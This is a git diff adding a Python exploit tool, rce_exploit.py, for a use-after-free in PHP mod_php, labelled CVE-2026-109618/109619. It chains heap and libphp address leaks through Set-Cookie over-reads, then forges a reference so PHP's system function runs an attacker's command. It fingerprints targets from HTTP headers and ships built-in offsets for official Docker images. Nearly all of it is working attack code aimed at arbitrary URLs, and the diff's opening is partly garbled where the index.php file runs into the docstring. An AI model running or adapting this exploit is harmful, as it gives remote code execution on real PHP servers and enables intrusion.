diff --git a/uaf-rce/docker/html/index.php b/uaf-rce/docker/html/index.php new file mode 100644 index 0000000..e560f44 --- /dev/null +++ b/uaf-rce/docker/html/index.php @@ -0,0 +1,3 @@ + Zend MM chunk base (heap ASLR) + Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR) + Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE + +Auto-detection: + The exploit fingerprints the target PHP version from HTTP headers, looks up + binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database + covering official Docker images, and selects the matching heap profile. For + unknown builds it can pull the matching Docker image and extract offsets + automatically (--auto-pull), or read them from a file/container. + +Requirements on the target: + - Apache mod_php with prefork MPM + - session.upload_progress.enabled=1 (default on) + - session.upload_progress.cleanup=1 (default on) + - display_errors=On or STDOUT (default when no php.ini is deployed, e.g. + official Docker images; php.ini-production sets it Off) + - memory_limit reachable via POST body (default 128M, use --huge-mb 140) + - MaxRequestWorkers=1, or low worker count with retries (default is 150; + the exploit needs A and B requests to hit the same worker process) + - Any PHP-handled URL (no session_start() needed on the page) + +Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success. +Based on research from 9bie/php2shell-bypass-aslr-exp. + +Usage: + python3 rce_exploit.py -u http://target/index.php # auto-detect + python3 rce_exploit.py -u http://target/index.php --auto-pull # pull image + python3 rce_exploit.py -u http://target/ --docker-container myphp # from container + python3 rce_exploit.py -u http://target/ --offsets-file offsets.env # from file +""" + +from __future__ import annotations + +import argparse +import os +import re +import socket +import ssl +import struct +import subprocess +import sys +import tempfile +import threading +import time +import urllib.parse +from collections import Counter + +# --------------------------------------------------------------------------- +# Constants +# --------------------------------------------------------------------------- + +SID = b"attacksessionid0001" +MAX_CMD = 14 + +# --------------------------------------------------------------------------- +# Heap spray profiles (compiler-dependent heap geometry constants) +# --------------------------------------------------------------------------- + +PROFILES = { + "bookworm": { + "stage1_n": 841, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [(31, 31)] * 6, + "stage3_carrier": True, + "htdata_offset": 0x690D8, + }, + "lab": { + "stage1_n": 892, + "stage2_t": 443, + "stage2_v": 1, + "stage3_pads": [(8, 7)] + [(7, 7)] * 5, + "stage3_carrier": False, + "htdata_offset": 0x6E0D8, + }, +} + +# --------------------------------------------------------------------------- +# Offset database: keyed by (php_version, distro) or (php_version, "generic") +# +# Offsets are the position of zif_system and zval_ptr_dtor inside libphp.so +# relative to its load base. They are constant for a given binary build. +# +# Official Docker images are Debian bookworm with gcc 12.2, so all +# php:X.Y.Z-apache images on the same architecture share a build toolchain. +# --------------------------------------------------------------------------- + +OFFSET_DB: dict[tuple[str, str], dict[str, int]] = { + # Official php:8.4.26-apache (Debian bookworm, gcc 12.2) -- LAST VULNERABLE 8.4.x + ("8.4.26", "bookworm"): { + "ZIF_OFFSET": 0x465370, + "DTOR_OFFSET": 0x65eb60, + "HTDATA_OFFSET": 0x690D8, + "profile": "bookworm", + }, + # Official php:8.3.35-apache (Debian bookworm) -- LAST VULNERABLE 8.3.x + ("8.3.35", "bookworm"): { + "ZIF_OFFSET": 0x3ac080, + "DTOR_OFFSET": 0x49ec50, + "HTDATA_OFFSET": 0x690D8, + "profile": "bookworm", + }, + # Official php:8.4.27-apache (Debian bookworm) -- PATCHED + ("8.4.27", "bookworm"): { + "ZIF_OFFSET": 0x46ad70, + "DTOR_OFFSET": 0x66a620, + "HTDATA_OFFSET": 0x690D8, + "profile": "bookworm", + }, + # Official php:8.3.36-apache (Debian bookworm) -- PATCHED + ("8.3.36", "bookworm"): { + "ZIF_OFFSET": 0x3b2a00, + "DTOR_OFFSET": 0x4a9510, + "HTDATA_OFFSET": 0x690D8, + "profile": "bookworm", + }, +} + +# Maps distro tokens found in Server header to profile names +DISTRO_MAP = { + "debian": "bookworm", + "ubuntu": "bookworm", +} + + +# --------------------------------------------------------------------------- +# ELF parser: extract symbol offsets without external tools +# --------------------------------------------------------------------------- + +SHT_SYMTAB = 2 +SHT_DYNSYM = 11 +PT_LOAD = 1 + + +def parse_elf_offsets(path: str) -> dict[str, int]: + """Parse an ELF64 LE file and return {symbol_name: offset_from_load_base}.""" + data = open(path, "rb").read() + if data[:4] != b"\x7fELF" or data[4] != 2 or data[5] != 1: + raise ValueError("not a little-endian ELF64 file") + + e_phoff = struct.unpack_from("= len(sections): + continue + str_off = sections[sh_link][1] + entsize = sh_entsize or 24 + for i in range(sh_size // entsize): + off = sh_offset + i * entsize + st_name = struct.unpack_from(" dict[str, int]: + vals: dict[str, int] = {} + with open(path) as f: + for line in f: + line = line.strip() + if not line or line.startswith("#") or "=" not in line: + continue + key, val = line.split("=", 1) + try: + vals[key.strip()] = int(val.strip(), 0) + except ValueError: + pass + return vals + + +def offsets_from_container(container: str) -> dict[str, int]: + """Extract offsets from a running Docker container's libphp.so.""" + lib_path = "/usr/lib/apache2/modules/libphp.so" + fd, tmp_path = tempfile.mkstemp(suffix=".so") + os.close(fd) + try: + subprocess.run( + ["docker", "cp", f"{container}:{lib_path}", tmp_path], + check=True, capture_output=True, timeout=30, + ) + syms = parse_elf_offsets(tmp_path) + return { + "ZIF_OFFSET": syms["zif_system"], + "DTOR_OFFSET": syms["zval_ptr_dtor"], + } + finally: + try: + os.unlink(tmp_path) + except OSError: + pass + + +def offsets_from_docker_image(image: str) -> dict[str, int]: + """Start a temp container from the image, extract offsets, remove it.""" + cname = f"php2shell-calibrate-{os.getpid()}" + lib_path = "/usr/lib/apache2/modules/libphp.so" + fd, tmp_path = tempfile.mkstemp(suffix=".so") + os.close(fd) + try: + subprocess.run( + ["docker", "create", "--name", cname, image, "true"], + check=True, capture_output=True, timeout=60, + ) + subprocess.run( + ["docker", "cp", f"{cname}:{lib_path}", tmp_path], + check=True, capture_output=True, timeout=30, + ) + syms = parse_elf_offsets(tmp_path) + return { + "ZIF_OFFSET": syms["zif_system"], + "DTOR_OFFSET": syms["zval_ptr_dtor"], + } + finally: + subprocess.run( + ["docker", "rm", "-f", cname], + capture_output=True, timeout=15, + ) + try: + os.unlink(tmp_path) + except OSError: + pass + + +def fingerprint_target(host: str, port: int, path: str, use_tls: bool, + timeout: float = 10.0) -> dict[str, str]: + """Send a GET and extract PHP version + server distro from headers.""" + hdr = ( + f"GET {path} HTTP/1.1\r\n" + f"Host: {host}:{port}\r\n" + "Connection: close\r\n" + "\r\n" + ).encode() + s = socket.create_connection((host, port), timeout=timeout) + if use_tls: + ctx = ssl.create_default_context() + s = ctx.wrap_socket(s, server_hostname=host) + s.settimeout(timeout) + try: + s.sendall(hdr) + data = bytearray() + while len(data) < 8192: + chunk = s.recv(4096) + if not chunk: + break + data += chunk + except OSError: + pass + finally: + s.close() + + head = bytes(data).split(b"\r\n\r\n", 1)[0].decode("latin-1", errors="replace") + info: dict[str, str] = {} + for line in head.splitlines(): + low = line.lower() + if low.startswith("x-powered-by:"): + m = re.search(r"PHP/(\d+\.\d+\.\d+)", line) + if m: + info["php_version"] = m.group(1) + if low.startswith("server:"): + info["server"] = line.split(":", 1)[1].strip() + for token, distro in DISTRO_MAP.items(): + if token in low: + info["distro"] = distro + break + if "distro" not in info and "server" in info: + if "debian" in info["server"].lower(): + info["distro"] = "bookworm" + return info + + +def resolve_offsets(args, verbose: bool = True) -> tuple[int, int, int, str]: + """Return (zif_offset, dtor_offset, htdata_offset, profile) from args.""" + log = (lambda m: print(m, flush=True)) if verbose else (lambda m: None) + + # Explicit offsets override everything + if args.zif_offset and args.dtor_offset: + return (args.zif_offset, args.dtor_offset, + args.htdata_offset or PROFILES[args.profile]["htdata_offset"], + args.profile) + + # From file + if args.offsets_file: + o = offsets_from_file(args.offsets_file) + zif = args.zif_offset or o.get("ZIF_OFFSET", 0) + dtor = args.dtor_offset or o.get("DTOR_OFFSET", 0) + if zif and dtor: + return (zif, dtor, + args.htdata_offset or o.get("HTDATA_OFFSET", 0) or + PROFILES[args.profile]["htdata_offset"], + args.profile) + + # From running container + if args.docker_container: + log(f"[*] extracting offsets from container {args.docker_container!r}") + o = offsets_from_container(args.docker_container) + zif = args.zif_offset or o.get("ZIF_OFFSET", 0) + dtor = args.dtor_offset or o.get("DTOR_OFFSET", 0) + if zif and dtor: + log(f"[+] container offsets: zif=0x{zif:x} dtor=0x{dtor:x}") + return (zif, dtor, + args.htdata_offset or PROFILES[args.profile]["htdata_offset"], + args.profile) + + # Auto-detect from target HTTP headers + u = urllib.parse.urlsplit(args.url) + host = u.hostname or "127.0.0.1" + port = u.port or (443 if u.scheme == "https" else 80) + path = u.path or "/" + use_tls = u.scheme == "https" + + log("[*] fingerprinting target...") + fp = fingerprint_target(host, port, path, use_tls) + php_ver = fp.get("php_version", "") + distro = fp.get("distro", "") + server = fp.get("server", "") + if php_ver: + log(f"[+] PHP/{php_ver} server={server}") + else: + log("[-] could not detect PHP version from headers") + log(" provide offsets manually (--offsets-file, --docker-container,") + log(" or --zif-offset/--dtor-offset)") + sys.exit(1) + + # Look up in database + for key in [(php_ver, distro), (php_ver, "generic")]: + if key in OFFSET_DB: + entry = OFFSET_DB[key] + zif = entry["ZIF_OFFSET"] + dtor = entry["DTOR_OFFSET"] + profile = entry.get("profile", args.profile) + htdata = entry.get("HTDATA_OFFSET", PROFILES[profile]["htdata_offset"]) + log(f"[+] offsets from database ({key[0]}/{key[1]}): " + f"zif=0x{zif:x} dtor=0x{dtor:x}") + return (args.zif_offset or zif, args.dtor_offset or dtor, + args.htdata_offset or htdata, profile) + + # Not in DB: try auto-pull if requested + if args.auto_pull: + image = f"php:{php_ver}-apache" + log(f"[*] pulling {image} to extract offsets...") + try: + subprocess.run( + ["docker", "pull", image], + check=True, capture_output=True, timeout=300, + ) + o = offsets_from_docker_image(image) + zif = o["ZIF_OFFSET"] + dtor = o["DTOR_OFFSET"] + log(f"[+] extracted from {image}: zif=0x{zif:x} dtor=0x{dtor:x}") + profile = distro if distro in PROFILES else args.profile + return (zif, dtor, + args.htdata_offset or PROFILES[profile]["htdata_offset"], + profile) + except (subprocess.SubprocessError, ValueError, KeyError) as e: + log(f"[-] auto-pull failed: {e}") + + log(f"[-] PHP/{php_ver} ({distro or 'unknown distro'}) not in offset database") + log(" options:") + log(f" 1. run with --auto-pull to fetch php:{php_ver}-apache and extract") + log(" 2. provide offsets via --offsets-file or --docker-container") + log(" 3. add entry to OFFSET_DB in this script") + sys.exit(1) + + +# --------------------------------------------------------------------------- +# Multipart + HTTP helpers +# --------------------------------------------------------------------------- + +def build_multipart(parts: list[dict], boundary: bytes) -> bytes: + out = bytearray() + for p in parts: + name = p["name"].encode() if isinstance(p["name"], str) else p["name"] + out += b"--" + boundary + b"\r\n" + out += b'Content-Disposition: form-data; name="' + name + b'"' + if p.get("filename") is not None: + fn = p["filename"].encode() if isinstance(p["filename"], str) else p["filename"] + out += b'; filename="' + fn + b'"' + out += b"\r\nContent-Type: application/octet-stream" + out += b"\r\n\r\n" + p["data"] + b"\r\n" + out += b"--" + boundary + b"--\r\n" + return bytes(out) + + +def parse_cookie(resp: bytes) -> bytes: + m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp) + if not m: + return b"" + return urllib.parse.unquote_to_bytes(m.group(1).decode("latin-1")) + + +def chunk_base_from_cookie(raw: bytes) -> int: + if len(raw) < 1000: + return 0 + c: Counter[int] = Counter() + for i in range(len(raw) - 8): + v = int.from_bytes(raw[i:i + 8], "little") + if 0x7F0000000000 <= v < 0x800000000000: + c[v & ~0x1FFFFF] += 1 + if not c: + return 0 + base, count = c.most_common(1)[0] + return base if count >= 8 else 0 + + +def libphp_base_from_cookie(raw: bytes, dtor_offset: int) -> int: + if len(raw) < 16: + return 0 + p = int.from_bytes(raw[8:16], "little") + if not (0x7F0000000000 <= p < 0x800000000000): + return 0 + if p & 0xFFF != dtor_offset & 0xFFF: + return 0 + base = p - dtor_offset + return base if base & 0xFFF == 0 else 0 + + +# --------------------------------------------------------------------------- +# Target connection +# --------------------------------------------------------------------------- + +class Target: + def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True): + u = urllib.parse.urlsplit(url) + if u.scheme not in ("http", "https"): + raise ValueError("URL must be http:// or https://") + self.https = u.scheme == "https" + self.host = u.hostname or "127.0.0.1" + self.port = u.port or (443 if self.https else 80) + self.path = u.path or "/" + self.timeout = timeout + self.verbose = verbose + + def log(self, msg: str) -> None: + if self.verbose: + print(msg, flush=True) + + def _connect(self): + last = None + for _ in range(10): + try: + s = socket.create_connection((self.host, self.port), + timeout=self.timeout) + if self.https: + ctx = ssl.create_default_context() + s = ctx.wrap_socket(s, server_hostname=self.host) + try: + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + except OSError: + pass + return s + except OSError as e: + last = e + time.sleep(0.3) + raise last + + def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20, + timeout: float | None = None, + extra_headers: dict[str, str] | None = None) -> bytes: + """Send POST, read full response, close connection.""" + s = self._connect() + s.settimeout(timeout or self.timeout) + + data = bytearray() + + def _reader() -> None: + try: + while len(data) < read_cap: + chunk = s.recv(65536) + if not chunk: + break + data.extend(chunk) + except OSError: + pass + + extra = "" + for k, v in (extra_headers or {}).items(): + extra += f"{k}: {v}\r\n" + hdr = ( + f"POST {self.path} HTTP/1.1\r\n" + f"Host: {self.host}:{self.port}\r\n" + f"{extra}" + f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" + f"Content-Length: {len(body)}\r\n" + "Connection: close\r\n" + "\r\n" + ).encode() + + reader = threading.Thread(target=_reader, daemon=True) + reader.start() + try: + try: + s.sendall(hdr) + mv = memoryview(body) + for off in range(0, len(body), 262144): + s.sendall(mv[off:off + 262144]) + except OSError: + pass + reader.join(timeout=(timeout or self.timeout) + 1.0) + return bytes(data) + finally: + s.close() + + def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]: + hdr = ( + f"GET {path} HTTP/1.1\r\n" + f"Host: {self.host}:{self.port}\r\n" + "Connection: close\r\n" + "\r\n" + ).encode() + s = self._connect() + s.settimeout(self.timeout) + try: + s.sendall(hdr) + data = bytearray() + try: + while len(data) < read_cap: + chunk = s.recv(65536) + if not chunk: + break + data += chunk + except OSError: + pass + finally: + s.close() + head, _, body = bytes(data).partition(b"\r\n\r\n") + m = re.match(rb"HTTP/1\.[01] (\d{3})", head) + return (int(m.group(1)) if m else 0), body + + +# --------------------------------------------------------------------------- +# Exploit stages +# --------------------------------------------------------------------------- + +class Exploit: + def __init__(self, target: Target, cmd: str, profile: str = "bookworm", + zif_offset: int = 0, dtor_offset: int = 0, + htdata_offset: int = 0, huge_mb: int = 12, + workers: int = 1): + self.t = target + self.cmd = cmd.encode() + self.huge_mb = huge_mb + self.workers = max(1, workers) + + prof = PROFILES[profile] + self.stage1_n = prof["stage1_n"] + self.stage2_t = prof["stage2_t"] + self.stage2_v = prof["stage2_v"] + self.stage3_pads = list(prof["stage3_pads"]) + self.stage3_carrier = prof["stage3_carrier"] + self.profile = profile + + self.zif_offset = zif_offset + self.dtor_offset = dtor_offset + self.htdata_offset = htdata_offset or prof["htdata_offset"] + + def _spray_a(self, body_a: bytes, boundary: bytes, + extra: dict[str, str] | None = None) -> None: + """Send request A to all workers so each has dangling state.""" + for i in range(self.workers): + self.t.post(body_a, boundary, + read_cap=1 << 20, + timeout=max(90.0, self.t.timeout), + extra_headers=extra) + time.sleep(0.1) + + def _big_field(self) -> dict: + return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)} + + def _file_part(self) -> dict: + return {"name": "f", "filename": "a.txt", "data": b"A" * 64} + + def rotate(self) -> None: + """Crash the current worker so prefork forks a fresh one.""" + self.t.log("[*] rotating worker") + parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} + for i in range(1001)] + parts += [ + {"name": "PHPSESSID", "data": b"\x00"}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, + self._file_part(), + self._big_field(), + ] + self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, + read_cap=1 << 20, timeout=max(90.0, self.t.timeout)) + time.sleep(0.3) + parts = [ + {"name": "PHPSESSID", "data": SID}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, + ] + self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345", + read_cap=65536, timeout=20.0) + time.sleep(0.5) + + def stage1(self) -> int: + """Leak Zend MM chunk base via Set-Cookie over-read.""" + parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)] + parts += [ + {"name": "PHPSESSID", "data": b"\x00"}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, + self._file_part(), + self._big_field(), + ] + body_a = build_multipart(parts, b"S" * 17) + self._spray_a(body_a, b"S" * 17) + time.sleep(0.2) + + parts = [ + {"name": "PHPSESSID", "data": SID}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, + ] + for i in range(self.stage1_n): + val = (f"v{i:04d}" + "x" * 44)[:48] + parts.append({"name": str(1000 + i), "data": val.encode()}) + forge = bytearray(b"A" * 79) + struct.pack_into(" int: + """Leak libphp base via HashTable pDestructor in Set-Cookie.""" + parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} + for i in range(1001)] + parts += [ + {"name": "PHPSESSID", "data": b"\x00"}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, + self._file_part(), + self._big_field(), + ] + body_a = build_multipart(parts, b"S" * 17) + self._spray_a(body_a, b"S" * 17) + time.sleep(0.2) + + parts = [ + {"name": "PHPSESSID", "data": SID}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, + ] + for i in range(983): + cnt = 16 if i == self.stage2_t else 1 + for j in range(cnt): + parts.append({"name": f"a{i:04d}[{j}]", + "data": b"x" * self.stage2_v}) + + resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10, + read_cap=1 << 20) + return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset) + + def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]: + cmd = self.cmd + if len(cmd) > MAX_CMD: + raise ValueError( + f"command is {len(cmd)} bytes, max {MAX_CMD} " + f"(write longer commands to a file and use 'sh None: + """Overlay PS(http_session_vars) with fake reference, trigger zif_system.""" + parts = [ + {"name": "PHPSESSID", "data": b"a" * 19}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3}, + ] + for i, (nl, vl) in enumerate(self.stage3_pads): + name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl] + parts.append({"name": name, "data": b"V" * vl}) + parts += [self._file_part(), self._big_field()] + extra = None + if self.stage3_carrier: + extra = {"Cookie": "PHPSESSID=" + "a" * 32} + body_a = build_multipart(parts, b"S" * 17) + self._spray_a(body_a, b"S" * 17, extra) + time.sleep(0.3) + + ht, ref = self._fake_payload(htdata, zif) + parts = [ + {"name": "PHPSESSID", "data": SID}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, + ] + if self.stage3_carrier: + carrier = (struct.pack(" int: + """Extract offsets from a Docker image or container and print them.""" + if args.docker_container: + print(f"Extracting from container {args.docker_container!r}...") + o = offsets_from_container(args.docker_container) + elif args.docker_image: + print(f"Extracting from image {args.docker_image!r}...") + o = offsets_from_docker_image(args.docker_image) + else: + print("need --docker-container or --docker-image", file=sys.stderr) + return 1 + + zif = o.get("ZIF_OFFSET", 0) + dtor = o.get("DTOR_OFFSET", 0) + if not zif or not dtor: + print("extraction failed", file=sys.stderr) + return 1 + + print(f"ZIF_OFFSET=0x{zif:x}") + print(f"DTOR_OFFSET=0x{dtor:x}") + print() + print("Add to OFFSET_DB in rce_exploit.py:") + ver = args.php_version or "X.Y.Z" + dist = args.distro or "bookworm" + print(f' ("{ver}", "{dist}"): {{') + print(f' "ZIF_OFFSET": 0x{zif:x},') + print(f' "DTOR_OFFSET": 0x{dtor:x},') + print(f' "HTDATA_OFFSET": 0x690D8, # calibrate with heap inspection') + print(f' "profile": "{dist}",') + print(f" }},") + + if args.save: + with open(args.save, "w") as f: + f.write(f"ZIF_OFFSET=0x{zif:x}\n") + f.write(f"DTOR_OFFSET=0x{dtor:x}\n") + print(f"\nSaved to {args.save}") + return 0 + + +# --------------------------------------------------------------------------- +# Main exploit runner +# --------------------------------------------------------------------------- + +def cmd_exploit(args) -> int: + if len(args.cmd.encode()) > MAX_CMD: + print(f"--cmd limited to {MAX_CMD} bytes", file=sys.stderr) + return 1 + + verbose = not args.quiet + zif, dtor, htdata, profile = resolve_offsets(args, verbose=verbose) + + if args.profile and args.profile != profile: + profile = args.profile + + t = Target(args.url, timeout=args.timeout, verbose=verbose) + ex = Exploit(t, args.cmd, profile=profile, + zif_offset=zif, dtor_offset=dtor, + htdata_offset=htdata, huge_mb=args.huge_mb, + workers=args.workers) + + t.log(f"[*] target {args.url} (profile={profile}, cmd={args.cmd!r})") + t.log(f"[*] offsets: zif=0x{zif:x} dtor=0x{dtor:x} htdata=0x{ex.htdata_offset:x}") + if ex.workers > 1: + t.log(f"[*] spray mode: {ex.workers} workers") + + if ex.workers == 1: + ex.rotate() + + single = ex.workers == 1 + + chunk = 0 + for attempt in range(1, args.retries + 1): + t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})") + chunk = ex.stage1() + if chunk: + t.log(f"[+] chunk base = 0x{chunk:x}") + break + t.log("[-] heap leak missed") + if single: + ex.rotate() + if not chunk: + print("HEAP_LEAK_FAILED", file=sys.stderr) + return 1 + if single: + ex.rotate() + + libphp = 0 + for attempt in range(1, args.retries + 1): + t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})") + libphp = ex.stage2() + if libphp: + t.log(f"[+] libphp base = 0x{libphp:x}") + break + t.log("[-] libphp leak missed") + if single: + ex.rotate() + if not libphp: + print("LIBPHP_LEAK_FAILED", file=sys.stderr) + return 1 + if single: + ex.rotate() + + htdata_addr = chunk + ex.htdata_offset + zif_addr = libphp + zif + t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}") + + if args.proof_file: + try: + if os.path.exists(args.proof_file): + os.unlink(args.proof_file) + except OSError: + pass + + has_proof_check = bool(args.proof_file or args.fetch or args.docker_proof) + + def check_proof() -> str: + if args.proof_file: + try: + if os.path.exists(args.proof_file): + with open(args.proof_file, "rb") as f: + return f.read().decode("latin-1").strip() + except OSError: + pass + if args.fetch: + status, body = t.get(args.fetch) + if status == 200 and body.strip(): + return body.decode("latin-1").strip() + if args.docker_proof: + container, path = args.docker_proof + try: + r = subprocess.run( + ["docker", "exec", container, "cat", path], + capture_output=True, timeout=10, + ) + if r.returncode == 0 and r.stdout.strip(): + return r.stdout.decode("latin-1").strip() + except (OSError, subprocess.SubprocessError): + pass + return "" + + proof = "" + for attempt in range(1, args.retries + 3): + try: + ex.stage3(htdata_addr, zif_addr) + except OSError as e: + t.log(f"[-] request error: {e}") + time.sleep(0.8) + + if has_proof_check: + proof = check_proof() + if proof: + t.log(f"[+] RCE confirmed (stage 3 attempt {attempt})") + print(f"PROOF: {proof}") + return 0 + t.log(f"[-] stage 3 attempt {attempt} (no proof yet)") + else: + t.log(f"[+] stage 3 payload sent (attempt {attempt})") + t.log("[*] no proof mechanism configured; command may have executed") + t.log(" use --fetch, --proof-file, or --docker-proof to verify") + return 0 + if single: + ex.rotate() + + print("EXPLOIT_FAILED (command may have executed without proof)", + file=sys.stderr) + return 1 + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- + +def main() -> int: + top = argparse.ArgumentParser( + description="CVE-2026-109618/109619 RCE: PHP mod_php, full ASLR bypass", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog="""\ +Auto-detect mode (fingerprint target, look up offsets from built-in DB): + %(prog)s -u http://target:8089/index.php + +Auto-pull mode (pull matching Docker image if not in DB): + %(prog)s -u http://target:8089/index.php --auto-pull + +Extract offsets from a running container: + %(prog)s -u http://target:8089/ --docker-container myphp + +Calibrate: extract offsets for a new PHP build: + %(prog)s calibrate --docker-image php:8.3.35-apache --php-version 8.3.35 +""") + + sub = top.add_subparsers(dest="subcommand") + + # calibrate subcommand + cal = sub.add_parser("calibrate", help="extract offsets from Docker image/container") + cal.add_argument("--docker-image", default="", help="Docker image to extract from") + cal.add_argument("--docker-container", default="", help="running container name") + cal.add_argument("--php-version", default="", help="version string for DB entry") + cal.add_argument("--distro", default="bookworm") + cal.add_argument("--save", default="", help="save offsets.env to this path") + + # exploit (default) + top.add_argument("-u", "--url", default="", help="target PHP URL") + top.add_argument("-c", "--cmd", default="id>/tmp/pwn", + help=f"command (max {MAX_CMD} bytes)") + top.add_argument("--proof-file", default="", + help="local file to check for proof of execution") + top.add_argument("--fetch", default="", + help="GET this path after stage 3 for remote proof") + top.add_argument("--profile", choices=sorted(PROFILES), default=None, + help="heap profile override (auto-detected by default)") + top.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None) + top.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None) + top.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None) + top.add_argument("--offsets-file", default="", + help="read ZIF_OFFSET/DTOR_OFFSET from file") + top.add_argument("--docker-container", default="", + help="extract offsets from this running container") + top.add_argument("--auto-pull", action="store_true", + help="pull matching Docker image if version not in DB") + top.add_argument("--docker-proof", nargs=2, metavar=("CONTAINER", "PATH"), + default=None, + help="verify RCE via docker exec CONTAINER cat PATH") + top.add_argument("--workers", type=int, default=1, + help="number of Apache workers to spray (default 1)") + top.add_argument("--huge-mb", type=int, default=12) + top.add_argument("--timeout", type=float, default=30.0) + top.add_argument("--retries", type=int, default=5) + top.add_argument("-q", "--quiet", action="store_true") + args = top.parse_args() + + if args.subcommand == "calibrate": + return cmd_calibrate(args) + + if not args.url: + top.error("-u/--url is required") + + if args.profile is None: + args.profile = "bookworm" + + return cmd_exploit(args) + + +if __name__ == "__main__": + try: + sys.exit(main()) + except KeyboardInterrupt: + sys.exit(130)